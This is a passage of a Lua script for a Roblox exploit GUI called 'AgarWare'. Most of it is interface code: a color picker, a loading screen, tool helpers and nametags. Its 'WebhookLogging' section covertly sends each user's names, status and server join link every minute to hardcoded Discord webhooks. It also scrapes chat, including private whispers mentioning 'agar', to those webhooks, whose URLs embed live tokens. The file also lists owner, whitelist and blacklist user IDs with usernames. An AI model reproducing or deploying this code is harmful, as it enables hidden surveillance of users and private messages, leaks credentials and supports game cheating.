= math.clamp(relativeY, 0, 1) sat = relativeX val = 1 - relativeY canvasCursor.Position = UDim2.new(relativeX, 0, relativeY, 0) updateColor() end local function setColorFromHex(hexStr) -- Remove # if present hexStr = hexStr:gsub("#", "") if #hexStr ~= 6 then return end -- Parse RGB local r = tonumber(hexStr:sub(1, 2), 16) / 255 local g = tonumber(hexStr:sub(3, 4), 16) / 255 local b = tonumber(hexStr:sub(5, 6), 16) / 255 if not r or not g or not b then return end -- Convert to HSV local h, s, v = Color3.new(r, g, b):ToHSV() hue = h sat = s val = v -- Update cursors hueCursor.Position = UDim2.new(hue, 0, 0, 0) canvasCursor.Position = UDim2.new(sat, 0, 1 - val, 0) updateCanvas() updateColor() end -- ============================================================ -- HUE SLIDER INTERACTION -- ============================================================ local hueDragging = false local canvasDragging = false -- Declare both here HueSlider.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then hueDragging = true local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X updateHueCursor(relativeX) end end) UserInputService.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then hueDragging = false canvasDragging = false end end) UserInputService.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if hueDragging then local relativeX = (input.Position.X - HueSlider.AbsolutePosition.X) / HueSlider.AbsoluteSize.X updateHueCursor(relativeX) end if canvasDragging then local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y updateCanvasCursor(relativeX, relativeY) end end end) -- ============================================================ -- CANVAS INTERACTION (CLICK ANYWHERE AND DRAG) -- ============================================================ SaturationValueCanvas.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then canvasDragging = true local relativeX = (input.Position.X - SaturationValueCanvas.AbsolutePosition.X) / SaturationValueCanvas.AbsoluteSize.X local relativeY = (input.Position.Y - SaturationValueCanvas.AbsolutePosition.Y) / SaturationValueCanvas.AbsoluteSize.Y updateCanvasCursor(relativeX, relativeY) end end) -- ============================================================ -- HEX TEXTBOX CHANGED -- ============================================================ HEX.FocusLost:Connect(function() setColorFromHex(HEX.Text) end) -- ============================================================ -- CLOSE BUTTON -- ============================================================ CloseColorPicker.MouseButton1Click:Connect(function() ColorPicker.Visible = false end) -- ============================================================ -- INITIALIZE TO WHITE (#ffffff) -- ============================================================ setColorFromHex("ffffff") -- ============================================================ -- EXPOSE FUNCTIONS GLOBALLY -- ============================================================ _G.ColorPickerFunctions = { SetColor = setColorFromHex, Center = centerFrame } print("[ColorPicker] Initialized - Default: #ffffff") end; task.spawn(C_358); -- StarterGui.AgarWareGui.ColorPicker.HEX.HEXScript local function C_35f() local script = G2L["35f"]; local HEX = script.Parent -- ============================================================ -- HEX FORMATTING -- ============================================================ local function isValidHexChar(char) local lower = char:lower() return (lower >= '0' and lower <= '9') or (lower >= 'a' and lower <= 'f') end local function formatHex(text) -- Remove all spaces text = text:gsub("%s+", "") -- Check if starts with # local hasHashtag = text:sub(1, 1) == "#" local hexPart = hasHashtag and text:sub(2) or text -- Filter only valid hex characters local filtered = "" for i = 1, #hexPart do local char = hexPart:sub(i, i) if isValidHexChar(char) then filtered = filtered .. char end end -- Limit to 6 characters filtered = filtered:sub(1, 6) -- Convert to lowercase filtered = filtered:lower() -- Add # at the start return "#" .. filtered end -- ============================================================ -- TEXT CHANGED -- ============================================================ HEX:GetPropertyChangedSignal("Text"):Connect(function() local cursorPos = HEX.CursorPosition local oldText = HEX.Text local newText = formatHex(oldText) -- Only update if text actually changed (prevents infinite loop) if newText ~= oldText then HEX.Text = newText -- Try to maintain cursor position if cursorPos > 0 then HEX.CursorPosition = math.min(cursorPos, #newText + 1) end end end) -- ============================================================ -- FOCUS LOST - ENSURE 6 CHARACTERS -- ============================================================ HEX.FocusLost:Connect(function() local text = HEX.Text -- Remove # local hexPart = text:sub(2) -- If less than 6 characters, pad with zeros while #hexPart < 6 do hexPart = hexPart .. "0" end HEX.Text = "#" .. hexPart end) -- ============================================================ -- INITIALIZE -- ============================================================ if HEX.Text == "" or HEX.Text == "#" then HEX.Text = "#ffffff" end end; task.spawn(C_35f); -- StarterGui.AgarWareGui.LoadedMainFrame.LoadedScript local function C_361() local script = G2L["361"]; local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local MarketplaceService = game:GetService("MarketplaceService") local LoadedMainFrame = script.Parent local LoadedFrame = LoadedMainFrame:WaitForChild("LoadedFrame") local GameNameLoaded = LoadedFrame:WaitForChild("GameNameLoaded") local AgarWareLoaded = LoadedFrame:WaitForChild("AGARWARELOADED") -------------------------------------------------- -- BLACKLIST -------------------------------------------------- local BLACKLISTED_USERS = { 1751294438, -- Serverholder_Avenaxl 1535622508, -- Buildermann 3590692150, -- DeLight 1704747, -- snips 3234700453, -- Box_boy56433 10385488328, -- Ihateroblox_oq 5695584804, -- strongestegg83973 -- Add more user IDs here } local function isBlacklisted(userId) for _, id in ipairs(BLACKLISTED_USERS) do if id == userId then return true end end return false end -------------------------------------------------- -- CENTER FRAME -------------------------------------------------- LoadedMainFrame.AnchorPoint = Vector2.new(0.5, 0.5) LoadedMainFrame.Position = UDim2.new(0.5, 0, 0.5, 0) LoadedMainFrame.Visible = true -------------------------------------------------- -- CHECK IF USER IS BLACKLISTED -------------------------------------------------- local localPlayer = Players.LocalPlayer if isBlacklisted(localPlayer.UserId) then -- User is blacklisted AgarWareLoaded.Text = "USER BLACKLISTED" GameNameLoaded.Text = "You have been blacklisted from using this script." GameNameLoaded.TextScaled = true -- Destroy MainFrame and KeybindFrame local AgarWareGui = LoadedMainFrame.Parent if AgarWareGui then local MainFrame = AgarWareGui:FindFirstChild("MainFrame") local KeybindFrame = AgarWareGui:FindFirstChild("KeybindFrame") local LoadingScripts = AgarWareGui:FindFirstChild("LoadingScripts") if MainFrame then MainFrame:Destroy() end if KeybindFrame then KeybindFrame:Destroy() end if LoadingScripts then LoadingScripts:Destroy() end end -- Stay visible permanently (don't fade away) return end -------------------------------------------------- -- GET GAME NAME (Only if not blacklisted) -------------------------------------------------- local function getGameName() local ok, info = pcall(function() return MarketplaceService:GetProductInfo(game.PlaceId) end) if ok and info and info.Name then return info.Name end return "Cannot find game name" end GameNameLoaded.Text = getGameName() -------------------------------------------------- -- FADE AWAY AFTER 3 SECONDS -------------------------------------------------- task.wait(1) local tween = TweenService:Create(LoadedFrame, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { BackgroundTransparency = 1 }) -- Fade all text labels too local labels = LoadedFrame:GetDescendants() local labelTweens = {} for _, obj in ipairs(labels) do if obj:IsA("TextLabel") then local t = TweenService:Create(obj, TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { TextTransparency = 1, TextStrokeTransparency = 1 }) table.insert(labelTweens, t) t:Play() end end tween:Play() tween.Completed:Wait() LoadedMainFrame.Visible = false end; task.spawn(C_361); -- StarterGui.AgarWareGui.WebhookLogging.OnlineUsers local function C_366() local script = G2L["366"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local LocalPlayer = Players.LocalPlayer local MarketplaceService = game:GetService("MarketplaceService") local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495643916723163287/Dyzh0xCRJGD7xmE7mnsKRTot_rfhN-61VppNMHvFpVtzyA147EcQjqK3ALZlOD_9wBgO" -- Calculate offset based on UserId (between 1 and 6 seconds) local function getUserOffset() local offset = (LocalPlayer.UserId % 6) + 1 return offset end local USER_OFFSET = getUserOffset() local lastSendMinute = -1 local TCO_PLACE_IDS = { 11137575513, 12943245078, 12943247001, 108097274488844, } local function isTCO() for _, id in ipairs(TCO_PLACE_IDS) do if game.PlaceId == id then return true end end return false end local function getAdmins() local admins = {} local chosenTeam = Teams:FindFirstChild("Chosen") if chosenTeam then for _, player in pairs(Players:GetPlayers()) do if player.Team == chosenTeam then table.insert(admins, player) end end end return admins end local function getAdminFooter() local admins = getAdmins() if #admins == 0 then return "Admin: None" end local adminTexts = {} for i, admin in ipairs(admins) do table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")") end return "Admin: " .. table.concat(adminTexts, ", ") end local function getMyTime() local ls = LocalPlayer:FindFirstChild("leaderstats") local t = ls and ls:FindFirstChild("Time") return t and t.Value or nil end local function getPlayerStatus() local chosenTeam = Teams:FindFirstChild("Chosen") local backpack = LocalPlayer:FindFirstChild("Backpack") local char = workspace:FindFirstChild(LocalPlayer.Name) local hasArken = (backpack and backpack:FindFirstChild("The Arkenstone")) or (char and char:FindFirstChild("The Arkenstone")) if chosenTeam and LocalPlayer.Team == chosenTeam then return "Admin" elseif hasArken then return "Enlightened" else return "Neutral" end end local function getPlaceLabel() local placeId = game.PlaceId if placeId == 11137575513 then return "Main" elseif placeId == 12943245078 then return "XL" elseif placeId == 12943247001 then return "VC" elseif placeId == 108097274488844 then return "OG" else return nil end end local function getGameName() local success, info = pcall(function() return MarketplaceService:GetProductInfo(game.PlaceId) end) if success and info then return info.Name else return "Unknown Game" end end local function getJoinLink() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end local function getFormattedTime() local now = DateTime.now():ToLocalTime() local hour = now.Hour local minute = now.Minute local ampm = "AM" if hour >= 12 then ampm = "PM" if hour > 12 then hour = hour - 12 end end if hour == 0 then hour = 12 end return string.format("%d:%02d %s", hour, minute, ampm) end local function getWebhookName() local now = DateTime.now():ToLocalTime() local minute = now.Minute return string.format("XX:%02d", minute) end local function sendStatusPing() local playerCount = #Players:GetPlayers() local maxPlayers = Players.MaxPlayers local placeLabel = getPlaceLabel() local webhookName = getWebhookName() local title, description if isTCO() then -- TCO game format local playerStatus = getPlayerStatus() local myTime = getMyTime() local timeDisplay = myTime and tostring(math.floor(myTime)) or "TIME" title = string.format("%s / `%s` | %s | %s", LocalPlayer.DisplayName, LocalPlayer.Name, playerStatus, timeDisplay) description = string.format("[%d/%d %s](%s) | %s", playerCount, maxPlayers, placeLabel, getJoinLink(), getAdminFooter()) else -- Non-TCO game format local gameName = getGameName() title = string.format("%s / `%s`", LocalPlayer.DisplayName, LocalPlayer.Name) description = string.format("[%d/%d](%s) | %s", playerCount, maxPlayers, getJoinLink(), gameName) end local footerText = "AGAR WARE | Today at " .. getFormattedTime() local embed = { ["title"] = title, ["description"] = description, ["color"] = 0x0016ff, ["footer"] = { ["text"] = footerText } } local payload = { ["username"] = webhookName, ["embeds"] = {embed} } local requestFunc = request or http_request or (syn and syn.request) or (http and http.request) pcall(function() requestFunc({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) end -- Timer loop that sends every minute at specific seconds (1-6) task.spawn(function() while true do local now = DateTime.now():ToLocalTime() local currentMinute = now.Minute local currentSecond = now.Second if currentSecond == USER_OFFSET and currentMinute ~= lastSendMinute then sendStatusPing() lastSendMinute = currentMinute end task.wait(0.5) end end) end; task.spawn(C_366); -- StarterGui.AgarWareGui.WebhookLogging.AgarChat local function C_367() local script = G2L["367"]; local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local LocalPlayer = Players.LocalPlayer local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1495773253107581068/i7Et7FfBoW_AprdmzFlJ-9UVBzW_c44scu5ZhxZBuC9kp392EFSOLdxqwDQn2Q0qbeYj" task.wait(2) local CoreGui = game:GetService("CoreGui") local ExperienceChat = CoreGui:FindFirstChild("ExperienceChat") if not ExperienceChat then return end local chatWindow = ExperienceChat:WaitForChild("appLayout"):WaitForChild("chatWindow") local scrollingView = chatWindow:WaitForChild("scrollingView") local bottomLockedScrollView = scrollingView:WaitForChild("bottomLockedScrollView") local RCTScrollView = bottomLockedScrollView:WaitForChild("RCTScrollView") local RCTScrollContentView = RCTScrollView:WaitForChild("RCTScrollContentView") local processedFrames = {} local function getAdmins() local admins = {} local chosenTeam = Teams:FindFirstChild("Chosen") if chosenTeam then for _, player in pairs(Players:GetPlayers()) do if player.Team == chosenTeam then table.insert(admins, player) end end end return admins end local function getAdminFooter() local admins = getAdmins() if #admins == 0 then return "Admin: None" end local adminTexts = {} for i, admin in ipairs(admins) do table.insert(adminTexts, admin.DisplayName .. " (@" .. admin.Name .. ")") end return "Admin: " .. table.concat(adminTexts, ", ") end local function getEmbedColor(buttonText) if string.match(buttonText, "HIDDEN CHAT") then return 0xff0000 end if string.match(buttonText, "%[From") or string.match(buttonText, "%[To") then return 0x000000 end local r, g, b = string.match(buttonText, "rgb%((%d+),(%d+),(%d+)%)") if r and g and b then r, g, b = tonumber(r), tonumber(g), tonumber(b) return (r * 65536) + (g * 256) + b end return 0xffffff end local function getJoinLink() local ok, link = pcall(function() return "https://www.roblox.com/games/start?placeId=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId end) return ok and link or "" end local function containsAgar(message) -- Check if message contains "agar" (case insensitive) return string.match(string.lower(message), "agar") ~= nil end local function sendWebhook(display, message, embedColor, buttonText, userId) local prefix = "" -- Extract [To Display] or [From Display] from buttonText local toMatch = string.match(buttonText, "%[To .-%]") local fromMatch = string.match(buttonText, "%[From .-%]") if toMatch then prefix = "*" .. toMatch .. "* " elseif fromMatch then prefix = "*" .. fromMatch .. "* " end local title = prefix .. "**" .. display .. "** " .. message local embed = { ["title"] = title, ["color"] = embedColor, ["footer"] = { ["text"] = getAdminFooter() }, ["timestamp"] = DateTime.now():ToIsoDate(), ["description"] = "[Join Game](" .. getJoinLink() .. ")" } local payload = { ["username"] = tostring(userId), ["content"] = "<@1301477323090034731>", ["embeds"] = {embed} } local requestFunc = request or http_request or (syn and syn.request) or (http and http.request) pcall(function() requestFunc({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(payload) }) end) end local function onFrameAdded(frame) if processedFrames[frame] then return end processedFrames[frame] = true local frameName = frame.Name local userId = string.match(frameName, "^(%d+)%-") if not userId or userId == "0" then return end task.wait(0.1) local textMessage = frame:FindFirstChild("TextMessage") if not textMessage then return end local prefixText = textMessage:FindFirstChild("PrefixText") local bodyText = textMessage:FindFirstChild("BodyText") local textButton = textMessage:FindFirstChild("TextMessageButton") if not prefixText or not bodyText or not textButton then return end local textButtonButton = textButton:FindFirstChild("TextButton") if not textButtonButton then return end local display = prefixText.ContentText display = string.gsub(display, "%[To .-%] ", "") display = string.gsub(display, "%[From .-%] ", "") local fullMessage = bodyText.ContentText local buttonText = textButtonButton.Text local isPrivate = string.match(buttonText, "%[From") or string.match(buttonText, "%[To") local message = fullMessage if isPrivate then message = string.gsub(message, "%[To .-%] ", "") message = string.gsub(message, "%[From .-%] ", "") if string.sub(message, 1, #display) == display then message = string.sub(message, #display + 1) end else if string.sub(fullMessage, 1, #display) == display then message = string.sub(fullMessage, #display + 1) end end message = string.match(message, "^%s*(.-)%s*$") -- Only send if message contains "agar" if not containsAgar(message) then return end local embedColor = getEmbedColor(buttonText) sendWebhook(display, message, embedColor, buttonText, userId) end for _, child in pairs(RCTScrollContentView:GetChildren()) do if child:IsA("Frame") then processedFrames[child] = true end end RCTScrollContentView.ChildAdded:Connect(function(child) if child:IsA("Frame") then onFrameAdded(child) end end) end; task.spawn(C_367); -- StarterGui.AgarWareGui.MasterScripts.ResetCharacter local function C_369() local script = G2L["369"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer shared.ResetCharacter = function() if LocalPlayer.Character then LocalPlayer.Character:BreakJoints() end end end; task.spawn(C_369); -- StarterGui.AgarWareGui.MasterScripts.RefreshBkitTools local function C_36a() local script = G2L["36a"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- ============================================================ -- TOOL REFRESH FUNCTIONS -- Each tool can be refreshed individually by calling shared functions -- Skips refresh if the tool is already equipped -- ============================================================ -- Build Tool Refresh shared.BuildToolRefresh = function() local buildTool = LocalPlayer.Backpack:FindFirstChild("Build") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build")) if not buildTool then return false end -- Skip if already equipped if buildTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if buildTool.Parent == LocalPlayer.Backpack then buildTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while buildTool.Parent == LocalPlayer.Character do buildTool.Parent = LocalPlayer.Backpack task.wait() end return true end -- Delete Tool Refresh shared.DeleteToolRefresh = function() local deleteTool = LocalPlayer.Backpack:FindFirstChild("Delete") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete")) if not deleteTool then return false end -- Skip if already equipped if deleteTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if deleteTool.Parent == LocalPlayer.Backpack then deleteTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while deleteTool.Parent == LocalPlayer.Character do deleteTool.Parent = LocalPlayer.Backpack task.wait() end return true end -- Paint Tool Refresh shared.PaintToolRefresh = function() local paintTool = LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) if not paintTool then return false end -- Skip if already equipped if paintTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if paintTool.Parent == LocalPlayer.Backpack then paintTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while paintTool.Parent == LocalPlayer.Character do paintTool.Parent = LocalPlayer.Backpack task.wait() end return true end -- Shape Tool Refresh shared.ShapeToolRefresh = function() local shapeTool = LocalPlayer.Backpack:FindFirstChild("Shape") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape")) if not shapeTool then return false end -- Skip if already equipped if shapeTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if shapeTool.Parent == LocalPlayer.Backpack then shapeTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while shapeTool.Parent == LocalPlayer.Character do shapeTool.Parent = LocalPlayer.Backpack task.wait() end return true end -- Shovel Tool Refresh shared.ShovelToolRefresh = function() local shovelTool = LocalPlayer.Backpack:FindFirstChild("Shovel") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel")) if not shovelTool then return false end -- Skip if already equipped if shovelTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if shovelTool.Parent == LocalPlayer.Backpack then shovelTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while shovelTool.Parent == LocalPlayer.Character do shovelTool.Parent = LocalPlayer.Backpack task.wait() end return true end -- Sign Tool Refresh shared.SignToolRefresh = function() local signTool = LocalPlayer.Backpack:FindFirstChild("Sign") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign")) if not signTool then return false end -- Skip if already equipped if signTool.Parent == LocalPlayer.Character then return false end -- Equip without unequipping other tools if signTool.Parent == LocalPlayer.Backpack then signTool.Parent = LocalPlayer.Character end -- Force unequip (spam until in backpack) while signTool.Parent == LocalPlayer.Character do signTool.Parent = LocalPlayer.Backpack task.wait() end return true end --[[ USAGE: shared.BuildToolRefresh() -- Refreshes Build tool shared.DeleteToolRefresh() -- Refreshes Delete tool shared.PaintToolRefresh() -- Refreshes Paint tool shared.ShapeToolRefresh() -- Refreshes Shape tool shared.ShovelToolRefresh() -- Refreshes Shovel tool shared.SignToolRefresh() -- Refreshes Sign tool Each function: - Returns false if tool already equipped (skips refresh) - Returns false if tool not found - Returns true if refresh successful - Equips tool without unequipping others - Force unequips until in backpack ]] end; task.spawn(C_36a); -- StarterGui.AgarWareGui.MasterScripts.AGARVOWNERLABEL local function C_36b() local script = G2L["36b"]; local Players = game:GetService("Players") local TweenService = game:GetService("TweenService") local RunService = game:GetService("RunService") local ownerBrightBlue = Color3.fromRGB(0, 123, 255) local ownerDarkBlue = Color3.fromRGB(0, 83, 166) local ownerStrokeColor = Color3.fromRGB(0, 53, 109) local function addTag(player) repeat task.wait() until _G.IsOwner if not _G.IsOwner(player.UserId) then return end local function applyToChar(char) if not char then return end local existing = char:FindFirstChild("AgarWareTag") if existing then existing:Destroy() end local hrp = char:WaitForChild("HumanoidRootPart", 10) if not hrp then return end local billboard = Instance.new("BillboardGui") billboard.Name = "AgarWareTag" billboard.Size = UDim2.new(0, 200, 0, 50) billboard.StudsOffset = Vector3.new(0, 4, 0) billboard.AlwaysOnTop = true billboard.ResetOnSpawn = false billboard.Parent = hrp local label = Instance.new("TextLabel", billboard) label.Size = UDim2.new(1, 0, 1, 0) label.BackgroundTransparency = 1 label.Text = "AGAR WARE OWNER" label.TextColor3 = ownerBrightBlue label.Font = Enum.Font.Code label.TextScaled = true label.TextStrokeColor3 = ownerStrokeColor label.TextStrokeTransparency = 0 local cam = workspace.CurrentCamera local scaleConn scaleConn = RunService.RenderStepped:Connect(function() if not billboard.Parent then scaleConn:Disconnect() return end local dist = (cam.CFrame.Position - hrp.Position).Magnitude local scale = ((34 / dist) * 0.7) + 0.2 billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale) end) local pulseRunning = true task.spawn(function() while pulseRunning and billboard.Parent do local toDark = TweenService:Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = ownerDarkBlue} ) toDark:Play() toDark.Completed:Wait() if not billboard.Parent then break end local toBright = TweenService:Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = ownerBrightBlue} ) toBright:Play() toBright.Completed:Wait() end end) billboard.Destroying:Connect(function() pulseRunning = false if scaleConn then scaleConn:Disconnect() end end) end if player.Character then applyToChar(player.Character) end player.CharacterAdded:Connect(applyToChar) end for _, player in ipairs(Players:GetPlayers()) do addTag(player) end Players.PlayerAdded:Connect(addTag) -- ========================================== -- WHITELISTED TAG -- ========================================== local whiteBrightBlue = Color3.fromRGB(255, 255, 255) local whiteDarkBlue = Color3.fromRGB(166, 166, 166) local whiteStrokeColor = Color3.fromRGB(49, 49, 49) local function addWhitelistedTag(player) repeat task.wait() until _G.IsWhitelisted if not _G.IsWhitelisted(player.UserId) then return end -- Don't show tag to the whitelisted player themselves local LocalPlayer = Players.LocalPlayer if player == LocalPlayer then return end local function applyToChar(character) if not character then return end local hrp = character:WaitForChild("HumanoidRootPart", 10) if not hrp then return end local existing = hrp:FindFirstChild("WhitelistedTag") if existing then existing:Destroy() end local billboard = Instance.new("BillboardGui") billboard.Name = "WhitelistedTag" billboard.Size = UDim2.new(0, 200, 0, 50) billboard.StudsOffset = Vector3.new(0, 4, 0) billboard.AlwaysOnTop = true billboard.ResetOnSpawn = false billboard.Parent = hrp local label = Instance.new("TextLabel", billboard) label.Size = UDim2.new(1, 0, 1, 0) label.BackgroundTransparency = 1 label.Text = "COOL PEOPLE" label.TextColor3 = whiteBrightBlue label.Font = Enum.Font.Arcade label.TextScaled = true label.TextStrokeColor3 = whiteStrokeColor label.TextStrokeTransparency = 0 local cam = workspace.CurrentCamera local scaleConn scaleConn = RunService.RenderStepped:Connect(function() if not billboard.Parent then scaleConn:Disconnect() return end local dist = (cam.CFrame.Position - hrp.Position).Magnitude local scale = ((26 / dist) * 0.5) + 0.2 billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale) end) local pulseRunning = true task.spawn(function() while pulseRunning and billboard.Parent do local toDark = TweenService:Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = whiteDarkBlue} ) toDark:Play() toDark.Completed:Wait() if not billboard.Parent then break end local toBright = TweenService:Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = whiteBrightBlue} ) toBright:Play() toBright.Completed:Wait() end end) billboard.Destroying:Connect(function() pulseRunning = false if scaleConn then scaleConn:Disconnect() end end) end if player.Character then applyToChar(player.Character) end player.CharacterAdded:Connect(applyToChar) end for _, player in ipairs(Players:GetPlayers()) do addWhitelistedTag(player) end Players.PlayerAdded:Connect(addWhitelistedTag) -- ========================================== -- BLACKLISTED TAG -- ========================================== local blackBrightRed = Color3.fromRGB(255, 0, 0) local blackDarkRed = Color3.fromRGB(150, 0, 0) local blackStrokeColor = Color3.fromRGB(80, 0, 0) local function addBlacklistedTag(player) repeat task.wait() until _G.IsBlacklisted and _G.IsOwner and _G.IsWhitelisted -- Only owners and whitelisted can see blacklist tags local LocalPlayer = game:GetService("Players").LocalPlayer if not _G.IsOwner(LocalPlayer.UserId) and not _G.IsWhitelisted(LocalPlayer.UserId) then return end if not _G.IsBlacklisted(player.UserId) then return end local function applyToChar(character) if not character then return end local torso = character:WaitForChild("UpperTorso", 10) or character:WaitForChild("Torso", 10) if not torso then return end local existing = torso:FindFirstChild("BlacklistedTag") if existing then existing:Destroy() end local billboard = Instance.new("BillboardGui") billboard.Name = "BlacklistedTag" billboard.Size = UDim2.new(0, 200, 0, 50) billboard.StudsOffset = Vector3.new(0, 0, 0) billboard.AlwaysOnTop = true billboard.ResetOnSpawn = false billboard.Parent = torso local label = Instance.new("TextLabel", billboard) label.Size = UDim2.new(1, 0, 1, 0) label.BackgroundTransparency = 1 label.Text = "BLACKLISTED" label.TextColor3 = blackBrightRed label.Font = Enum.Font.Arcade label.TextScaled = true label.TextStrokeColor3 = blackStrokeColor label.TextStrokeTransparency = 0 local cam = workspace.CurrentCamera local scaleConn scaleConn = game:GetService("RunService").RenderStepped:Connect(function() if not billboard.Parent then scaleConn:Disconnect() return end local dist = (cam.CFrame.Position - torso.Position).Magnitude local scale = ((26 / dist) * 0.5) billboard.Size = UDim2.new(0, 200 * scale, 0, 50 * scale) end) local pulseRunning = true task.spawn(function() while pulseRunning and billboard.Parent do local toDark = game:GetService("TweenService"):Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = blackDarkRed} ) toDark:Play() toDark.Completed:Wait() if not billboard.Parent then break end local toBright = game:GetService("TweenService"):Create( label, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextColor3 = blackBrightRed} ) toBright:Play() toBright.Completed:Wait() end end) billboard.Destroying:Connect(function() pulseRunning = false if scaleConn then scaleConn:Disconnect() end end) end if player.Character then applyToChar(player.Character) end player.CharacterAdded:Connect(applyToChar) end for _, player in ipairs(game:GetService("Players"):GetPlayers()) do addBlacklistedTag(player) end game:GetService("Players").PlayerAdded:Connect(addBlacklistedTag) end; task.spawn(C_36b); -- StarterGui.AgarWareGui.MasterScripts.PLAYERLISTUSER local function C_36c() local script = G2L["36c"]; -- UserListMaster Script (put in Gui.MasterScripts) _G.UserLists = { Blacklisted = { 1535622508, -- Buildermann 3590692150, -- DeLight 1704747, -- snips 3234700453, -- Box_boy56433 10385488328, -- Ihateroblox_oq 5695584804, -- strongestegg83973 10923596100, -- serverbot_tco }, Whitelisted = { 10754470202, -- raja 22 10642124279, -- raja 21 8008797519, -- phan main 10840760745, -- phan einstein 2735168711, -- slime 2 3492744393, -- slime 909205143, -- pop 7999975433, -- koi 10842814389, -- MONKEYARMPIT6 10946974452, -- korea }, Owners = { 574381128, -- main 10587072700, -- ryansocoool 8308247571, -- bobby2 agarv_bbc 10837544781, -- agarv609 } } -- Helper functions function _G.IsBlacklisted(userId) for _, id in ipairs(_G.UserLists.Blacklisted) do if userId == id then return true end end return false end function _G.IsWhitelisted(userId) for _, id in ipairs(_G.UserLists.Whitelisted) do if userId == id then return true end end return false end function _G.IsOwner(userId) for _, id in ipairs(_G.UserLists.Owners) do if userId == id then return true end end return false end end; task.spawn(C_36c); return G2L["1"], require;